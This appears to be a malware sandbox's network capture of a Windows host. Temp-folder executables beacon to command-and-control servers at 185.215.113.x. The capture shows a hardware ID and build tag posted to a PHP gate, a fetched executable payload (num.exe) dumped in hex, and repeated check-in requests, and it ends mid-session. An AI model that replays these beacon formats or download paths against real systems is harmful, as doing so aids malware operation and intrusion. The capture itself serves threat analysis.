Oct 23, 2024 17:51:51.456506014 CEST	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 23, 2024 17:51:51.456541061 CEST	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 23, 2024 17:51:51.456578016 CEST	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 23, 2024 17:51:51.456612110 CEST	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 23, 2024 17:51:51.456650019 CEST	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 23, 2024 17:51:51.462292910 CEST	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49933	185.215.113.37	80	1468	C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:50.850188017 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:51:51.756422043 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:51:51.762142897 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="build"doma------EBAEBFIIECBGCBGDHCAF--
Oct 23, 2024 17:51:52.042351961 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49955	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:54.625365019 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000994001&unit=246122658369
Oct 23, 2024 17:51:55.542788029 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49961	185.215.113.16	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:55.557137966 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 17:51:56.456350088 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:56 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 23, 2024 17:51:56.456420898 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]
Oct 23, 2024 17:51:56.456437111 CEST	1236	IN	Data Raw: cc cc cc 55 8b ec 51 53 6a 04 68 00 30 00 00 68 c0 41 c8 17 6a 00 ff 15 28 a8 64 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 ae 78 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 Data Ascii: UQSjh0hAj(dEPtX}t,hEPxS[hhAMQhd[]UQEjj@h0hjdPdE}ujdR]U(EPxdMM}sjd]
Oct 23, 2024 17:51:56.456465006 CEST	1236	IN	Data Raw: c1 3c e8 88 92 01 00 8b 4d fc 83 c1 30 e8 7d 92 01 00 8b 4d fc e8 d5 4f 01 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 cd 00 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 eb 91 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 Data Ascii: <M0}MO]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|=
Oct 23, 2024 17:51:56.456481934 CEST	1236	IN	Data Raw: 00 8d 8d 6c fd ff ff e8 af 8d 01 00 8d 8d 78 fd ff ff e8 a4 8d 01 00 8d 8d 84 fd ff ff e8 99 8d 01 00 8d 8d 90 fd ff ff e8 8e 8d 01 00 8d 8d 9c fd ff ff e8 83 8d 01 00 8d 8d a8 fd ff ff e8 78 8d 01 00 8d 8d b4 fd ff ff e8 6d 8d 01 00 e9 a6 00 00 Data Ascii: lxxmR0PhLVB<QURHPhUBTQUR`PA3P0<HT`
Oct 23, 2024 17:51:56.456496954 CEST	1236	IN	Data Raw: 44 0a 10 83 ec 0c 8b cc 50 e8 79 88 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 48 f6 ff ff e8 c3 f3 ff ff 81 c4 88 00 00 00 8d 4d 08 e8 f5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 90 a9 64 00 Data Ascii: DPyXURHM]UEddUdPdAdBd]U}t#E8tMQ;U\|EEHME]UE3tU
Oct 23, 2024 17:51:56.456512928 CEST	548	IN	Data Raw: 0c a3 48 a5 64 00 6a 0c 68 08 1d 42 00 68 18 1d 42 00 e8 bc 21 00 00 83 c4 0c a3 bc a3 64 00 6a 09 68 28 1d 42 00 68 34 1d 42 00 e8 a3 21 00 00 83 c4 0c a3 e8 a2 64 00 6a 10 68 40 1d 42 00 68 54 1d 42 00 e8 8a 21 00 00 83 c4 0c a3 0c a6 64 00 6a Data Ascii: HdjhBhB!djh(Bh4B!djh@BhTB!djhhBhtBq!djhBhBX!djhBhB?!$djhBhB&!djhBhB!4djhBhB djh(Bh8B
Oct 23, 2024 17:51:56.456528902 CEST	1236	IN	Data Raw: 83 c4 0c a3 14 a4 64 00 6a 0c 68 a8 1f 42 00 68 b8 1f 42 00 e8 96 1f 00 00 83 c4 0c a3 50 a1 64 00 6a 06 68 c8 1f 42 00 68 d0 1f 42 00 e8 7d 1f 00 00 83 c4 0c a3 40 a5 64 00 6a 07 68 d8 1f 42 00 68 e0 1f 42 00 e8 64 1f 00 00 83 c4 0c a3 1c a6 64 Data Ascii: djhBhBPdjhBhB}@djhBhBddjhBhBKdjhBh B2d]Ujh Bh( Bddjh@ BhH B\|djhP BhT B@djhBhB
Oct 23, 2024 17:51:56.456547022 CEST	1236	IN	Data Raw: 00 00 83 c4 0c a3 4c a5 64 00 6a 0e 68 c0 24 42 00 68 d0 24 42 00 e8 c0 1a 00 00 83 c4 0c a3 68 a4 64 00 6a 09 68 e0 24 42 00 68 ec 24 42 00 e8 a7 1a 00 00 83 c4 0c a3 5c a3 64 00 6a 0e 68 f8 24 42 00 68 08 25 42 00 e8 8e 1a 00 00 83 c4 0c a3 a8 Data Ascii: Ldjh$Bh$Bhdjh$Bh$B\djh$Bh%Bdj h%Bh<%Budjh`%Bhp%B\ djh%Bh%BChdjh%Bh%B*hdjh%Bh%Bdjh%Bh%Bdjh&Bh
Oct 23, 2024 17:51:56.456559896 CEST	24	IN	Data Raw: 09 68 98 2b 42 00 68 a4 2b 42 00 e8 f7 15 00 00 83 c4 0c a3 dc a2 64 00 Data Ascii: h+Bh+Bd
Oct 23, 2024 17:51:56.462084055 CEST	1236	IN	Data Raw: 6a 13 68 b0 2b 42 00 68 c4 2b 42 00 e8 de 15 00 00 83 c4 0c a3 60 a4 64 00 6a 15 68 d8 2b 42 00 68 f0 2b 42 00 e8 c5 15 00 00 83 c4 0c a3 04 a5 64 00 6a 0a 68 08 2c 42 00 68 14 2c 42 00 e8 ac 15 00 00 83 c4 0c a3 2c a5 64 00 6a 09 68 20 2c 42 00 Data Ascii: jh+Bh+B`djh+Bh+Bdjh,Bh,B,djh ,Bh,,Bdjh8,BhL,Bzxdjh`,Bhp,Badjh,Bh,BH\|djh,Bh,B/djh,Bh,B@djh,Bh,B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49974	185.215.113.37	80	6892	C:\Users\user\AppData\Local\Temp\1000995001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:57.657082081 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:51:58.573004007 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:51:58.587363005 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build"doma------BAAFBFBAAKECFIEBFIEC--
Oct 23, 2024 17:51:58.881855965 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49987	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:59.370753050 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000995001&unit=246122658369
Oct 23, 2024 17:52:00.276920080 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50003	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:01.994970083 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:02.900958061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50016	34.107.221.82	80	5900	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:03.365520954 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:03.965229988 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85184 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50024	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:04.449589968 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:05.364923000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50026	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:07.051583052 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:07.943639040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50029	34.107.221.82	80	5900	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:07.702773094 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:52:08.298046112 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85454 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:52:10.024790049 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:52:10.149740934 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85456 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:52:20.164527893 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50030	34.107.221.82	80	5900	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:07.703072071 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:08.308216095 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85189 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:52:18.320815086 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50033	185.215.113.37	80	6648	C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:09.757596016 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:52:10.670627117 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:52:10.673794031 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="build"doma------JJJKFBAAAFHJEBFIEGID--
Oct 23, 2024 17:52:10.959847927 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50034	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
